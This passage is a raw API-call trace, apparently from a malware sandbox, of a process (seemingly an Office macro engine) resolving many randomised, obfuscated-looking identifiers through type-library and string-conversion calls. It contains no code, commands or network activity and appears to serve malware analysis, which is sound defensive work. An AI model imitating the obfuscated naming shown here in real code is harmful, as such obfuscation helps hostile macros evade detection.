pBstrLibName=0x305060) returned 0x0 [0019.003] IUnknown:Release (This=0x7346470) returned 0xb [0019.003] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.003] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_uYRndOIYcJ", lHashVal=0x1064d8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.003] IUnknown:Release (This=0x7345930) returned 0x7 [0019.003] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.003] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_uYRndOIYcJ", lHashVal=0x1064d8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.003] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.003] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.003] IUnknown:Release (This=0x7919520) returned 0x10 [0019.003] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd1d0000 [0019.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77e6c, cbMultiByte=10, lpWideCharStr=0xd1d0304, cchWideChar=22 | out: lpWideCharStr="JFczplSzam") returned 10 [0019.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77e86, cbMultiByte=10, lpWideCharStr=0xd1d074e, cchWideChar=22 | out: lpWideCharStr="EqdJCdjOjC") returned 10 [0019.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77e9a, cbMultiByte=10, lpWideCharStr=0xd1d08f8, cchWideChar=22 | out: lpWideCharStr="wWJUuRvtdI") returned 10 [0019.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77eae, cbMultiByte=10, lpWideCharStr=0xd1d0aa2, cchWideChar=22 | out: lpWideCharStr="cYMuKJaCvY") returned 10 [0019.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77ec2, cbMultiByte=10, lpWideCharStr=0xd1d0c4c, cchWideChar=22 | out: lpWideCharStr="qFdSZQJNaU") returned 10 [0019.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77ed6, cbMultiByte=10, lpWideCharStr=0xd1d0df6, cchWideChar=22 | out: lpWideCharStr="IRZGlnvHDX") returned 10 [0019.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77eea, cbMultiByte=10, lpWideCharStr=0xd1d0fa0, cchWideChar=22 | out: lpWideCharStr="qYUSJfdiws") returned 10 [0019.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77efe, cbMultiByte=10, lpWideCharStr=0xd1d114a, cchWideChar=22 | out: lpWideCharStr="DhSLLssrud") returned 10 [0019.005] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="KUIsrmvZcu") returned 0x10c524 [0019.005] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="KUIsrmvZcu" | out: _Dst="KUIsrmvZcu") returned 0x0 [0019.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="KUIsrmvZcu") returned 11 [0019.005] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.005] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="KUIsrmvZcu", lHashVal=0x10c524, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.006] IUnknown:Release (This=0x7919520) returned 0x10 [0019.006] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.006] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="KUIsrmvZcu", lHashVal=0x10c524, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.006] IUnknown:Release (This=0x7346470) returned 0xb [0019.006] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.006] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="KUIsrmvZcu", lHashVal=0x10c524, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.006] IUnknown:Release (This=0x7345930) returned 0x7 [0019.006] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.006] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="KUIsrmvZcu", lHashVal=0x10c524, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.006] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.006] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.006] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_KUIsrmvZcu" | out: _Dst="_B_var_KUIsrmvZcu") returned 0x0 [0019.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_KUIsrmvZcu") returned 18 [0019.006] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.006] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_KUIsrmvZcu", lHashVal=0x10334f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.006] IUnknown:Release (This=0x7919520) returned 0x10 [0019.006] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.006] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_KUIsrmvZcu", lHashVal=0x10334f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.006] IUnknown:Release (This=0x7346470) returned 0xb [0019.006] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.006] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_KUIsrmvZcu", lHashVal=0x10334f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.006] IUnknown:Release (This=0x7345930) returned 0x7 [0019.006] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.006] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_KUIsrmvZcu", lHashVal=0x10334f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.006] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.006] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.006] IUnknown:Release (This=0x7919520) returned 0x10 [0019.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77f1c, cbMultiByte=10, lpWideCharStr=0xd1d35bc, cchWideChar=22 | out: lpWideCharStr="tEkBmNWLij") returned 10 [0019.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77f36, cbMultiByte=10, lpWideCharStr=0xd1d3a06, cchWideChar=22 | out: lpWideCharStr="oVUtnvMKwU") returned 10 [0019.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77f4a, cbMultiByte=10, lpWideCharStr=0xd1d3bb0, cchWideChar=22 | out: lpWideCharStr="fJlEhjnYnb") returned 10 [0019.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77f5e, cbMultiByte=10, lpWideCharStr=0xd1d3d5a, cchWideChar=22 | out: lpWideCharStr="fhhKfGAJdO") returned 10 [0019.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77f72, cbMultiByte=10, lpWideCharStr=0xd1d3f04, cchWideChar=22 | out: lpWideCharStr="ntpZkrFzVS") returned 10 [0019.007] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd1e0000 [0019.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77f86, cbMultiByte=10, lpWideCharStr=0xd1e00c4, cchWideChar=22 | out: lpWideCharStr="DqniBjTfUF") returned 10 [0019.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77f9a, cbMultiByte=10, lpWideCharStr=0xd1e026e, cchWideChar=22 | out: lpWideCharStr="azYGDHnKOj") returned 10 [0019.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77fae, cbMultiByte=10, lpWideCharStr=0xd1e0418, cchWideChar=22 | out: lpWideCharStr="uCjjhlTLUp") returned 10 [0019.008] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QPwHJvtvJ") returned 0x10587e [0019.008] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="QPwHJvtvJ" | out: _Dst="QPwHJvtvJ") returned 0x0 [0019.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="QPwHJvtvJ") returned 10 [0019.008] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.008] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="QPwHJvtvJ", lHashVal=0x10587e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.008] IUnknown:Release (This=0x7919520) returned 0x10 [0019.008] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.008] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="QPwHJvtvJ", lHashVal=0x10587e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.008] IUnknown:Release (This=0x7346470) returned 0xb [0019.008] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.008] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="QPwHJvtvJ", lHashVal=0x10587e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.008] IUnknown:Release (This=0x7345930) returned 0x7 [0019.008] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.008] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="QPwHJvtvJ", lHashVal=0x10587e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.008] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.008] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.008] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_QPwHJvtvJ" | out: _Dst="_B_var_QPwHJvtvJ") returned 0x0 [0019.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_QPwHJvtvJ") returned 17 [0019.008] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.008] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_QPwHJvtvJ", lHashVal=0x1061c3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.008] IUnknown:Release (This=0x7919520) returned 0x10 [0019.008] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.008] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_QPwHJvtvJ", lHashVal=0x1061c3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.008] IUnknown:Release (This=0x7346470) returned 0xb [0019.008] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.008] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_QPwHJvtvJ", lHashVal=0x1061c3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.008] IUnknown:Release (This=0x7345930) returned 0x7 [0019.008] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.008] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_QPwHJvtvJ", lHashVal=0x1061c3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.008] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.009] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.009] IUnknown:Release (This=0x7919520) returned 0x10 [0019.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77fcc, cbMultiByte=10, lpWideCharStr=0xd1e288a, cchWideChar=22 | out: lpWideCharStr="oBIIwfSRsA") returned 10 [0019.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77fe6, cbMultiByte=10, lpWideCharStr=0xd1e2cd4, cchWideChar=22 | out: lpWideCharStr="khIJlZpInM") returned 10 [0019.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77ffa, cbMultiByte=10, lpWideCharStr=0xd1e2e7e, cchWideChar=22 | out: lpWideCharStr="PBQuzBjiiW") returned 10 [0019.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7800e, cbMultiByte=10, lpWideCharStr=0xd1e3028, cchWideChar=22 | out: lpWideCharStr="lkRzjcjpuA") returned 10 [0019.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78022, cbMultiByte=10, lpWideCharStr=0xd1e31d2, cchWideChar=22 | out: lpWideCharStr="NsSsQNHrUo") returned 10 [0019.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78036, cbMultiByte=10, lpWideCharStr=0xd1e337c, cchWideChar=22 | out: lpWideCharStr="ZkijjmlOLz") returned 10 [0019.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7804a, cbMultiByte=10, lpWideCharStr=0xd1e3526, cchWideChar=22 | out: lpWideCharStr="vjmVOAPKZJ") returned 10 [0019.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7805e, cbMultiByte=10, lpWideCharStr=0xd1e36d0, cchWideChar=22 | out: lpWideCharStr="sAOmzWiXdj") returned 10 [0019.009] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd1f0000 [0019.010] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DGKwcZAr") returned 0x10e1e4 [0019.010] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="DGKwcZAr" | out: _Dst="DGKwcZAr") returned 0x0 [0019.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="DGKwcZAr") returned 9 [0019.011] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.011] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="DGKwcZAr", lHashVal=0x10e1e4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.011] IUnknown:Release (This=0x7919520) returned 0x10 [0019.011] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.011] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="DGKwcZAr", lHashVal=0x10e1e4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.011] IUnknown:Release (This=0x7346470) returned 0xb [0019.011] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.011] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="DGKwcZAr", lHashVal=0x10e1e4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.011] IUnknown:Release (This=0x7345930) returned 0x7 [0019.011] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.011] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="DGKwcZAr", lHashVal=0x10e1e4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.011] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.011] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.011] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_DGKwcZAr" | out: _Dst="_B_var_DGKwcZAr") returned 0x0 [0019.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_DGKwcZAr") returned 16 [0019.011] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.011] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_DGKwcZAr", lHashVal=0x10b96d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.011] IUnknown:Release (This=0x7919520) returned 0x10 [0019.011] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.011] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_DGKwcZAr", lHashVal=0x10b96d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.011] IUnknown:Release (This=0x7346470) returned 0xb [0019.011] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.011] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_DGKwcZAr", lHashVal=0x10b96d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.011] IUnknown:Release (This=0x7345930) returned 0x7 [0019.011] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.011] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_DGKwcZAr", lHashVal=0x10b96d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.011] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.011] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.011] IUnknown:Release (This=0x7919520) returned 0x10 [0019.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7807c, cbMultiByte=27, lpWideCharStr=0xd1f1b4c, cchWideChar=56 | out: lpWideCharStr="VbZviibzhrUJKahS VpCYFGlimN") returned 27 [0019.012] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JSXsKEo") returned 0x108a61 [0019.012] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="JSXsKEo" | out: _Dst="JSXsKEo") returned 0x0 [0019.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="JSXsKEo") returned 8 [0019.012] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.012] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="JSXsKEo", lHashVal=0x108a61, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.012] IUnknown:Release (This=0x7919520) returned 0x10 [0019.012] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.012] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="JSXsKEo", lHashVal=0x108a61, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.012] IUnknown:Release (This=0x7346470) returned 0xb [0019.012] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.012] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="JSXsKEo", lHashVal=0x108a61, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.012] IUnknown:Release (This=0x7345930) returned 0x7 [0019.012] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.012] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="JSXsKEo", lHashVal=0x108a61, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.012] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.012] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.012] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_JSXsKEo" | out: _Dst="_B_var_JSXsKEo") returned 0x0 [0019.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_JSXsKEo") returned 15 [0019.012] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.012] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_JSXsKEo", lHashVal=0x108de5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.012] IUnknown:Release (This=0x7919520) returned 0x10 [0019.012] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.012] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_JSXsKEo", lHashVal=0x108de5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.012] IUnknown:Release (This=0x7346470) returned 0xb [0019.012] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.012] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_JSXsKEo", lHashVal=0x108de5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.012] IUnknown:Release (This=0x7345930) returned 0x7 [0019.012] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.012] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_JSXsKEo", lHashVal=0x108de5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.012] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.012] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.012] IUnknown:Release (This=0x7919520) returned 0x10 [0019.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb780b4, cbMultiByte=10, lpWideCharStr=0xd1f28a0, cchWideChar=22 | out: lpWideCharStr="anCUYotzIv") returned 10 [0019.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb780ce, cbMultiByte=10, lpWideCharStr=0xd1f2cea, cchWideChar=22 | out: lpWideCharStr="nVpXopUjWc") returned 10 [0019.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb780e2, cbMultiByte=10, lpWideCharStr=0xd1f2e94, cchWideChar=22 | out: lpWideCharStr="DvlpYAKDAP") returned 10 [0019.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb780f6, cbMultiByte=10, lpWideCharStr=0xd1f303e, cchWideChar=22 | out: lpWideCharStr="PHKifnuEhP") returned 10 [0019.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7810a, cbMultiByte=10, lpWideCharStr=0xd1f31e8, cchWideChar=22 | out: lpWideCharStr="OoBTtZMIvr") returned 10 [0019.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7811e, cbMultiByte=10, lpWideCharStr=0xd1f3392, cchWideChar=22 | out: lpWideCharStr="RkpsmiCNwY") returned 10 [0019.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78132, cbMultiByte=10, lpWideCharStr=0xd1f353c, cchWideChar=22 | out: lpWideCharStr="dpwtfjKKsB") returned 10 [0019.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78146, cbMultiByte=10, lpWideCharStr=0xd1f36e6, cchWideChar=22 | out: lpWideCharStr="uQBGNPtRww") returned 10 [0019.013] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd200000 [0019.014] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="HjVjVka") returned 0x106355 [0019.014] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="HjVjVka" | out: _Dst="HjVjVka") returned 0x0 [0019.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="HjVjVka") returned 8 [0019.014] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.014] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="HjVjVka", lHashVal=0x106355, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.014] IUnknown:Release (This=0x7919520) returned 0x10 [0019.014] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.014] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="HjVjVka", lHashVal=0x106355, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.014] IUnknown:Release (This=0x7346470) returned 0xb [0019.014] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.014] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="HjVjVka", lHashVal=0x106355, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.014] IUnknown:Release (This=0x7345930) returned 0x7 [0019.014] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.014] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="HjVjVka", lHashVal=0x106355, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.014] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.014] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.015] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_HjVjVka" | out: _Dst="_B_var_HjVjVka") returned 0x0 [0019.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_HjVjVka") returned 15 [0019.015] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.015] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_HjVjVka", lHashVal=0x1066d9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.015] IUnknown:Release (This=0x7919520) returned 0x10 [0019.015] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.015] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_HjVjVka", lHashVal=0x1066d9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.015] IUnknown:Release (This=0x7346470) returned 0xb [0019.015] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.015] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_HjVjVka", lHashVal=0x1066d9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.015] IUnknown:Release (This=0x7345930) returned 0x7 [0019.015] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.015] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_HjVjVka", lHashVal=0x1066d9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.015] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.015] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.015] IUnknown:Release (This=0x7919520) returned 0x10 [0019.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78164, cbMultiByte=10, lpWideCharStr=0xd201b6c, cchWideChar=22 | out: 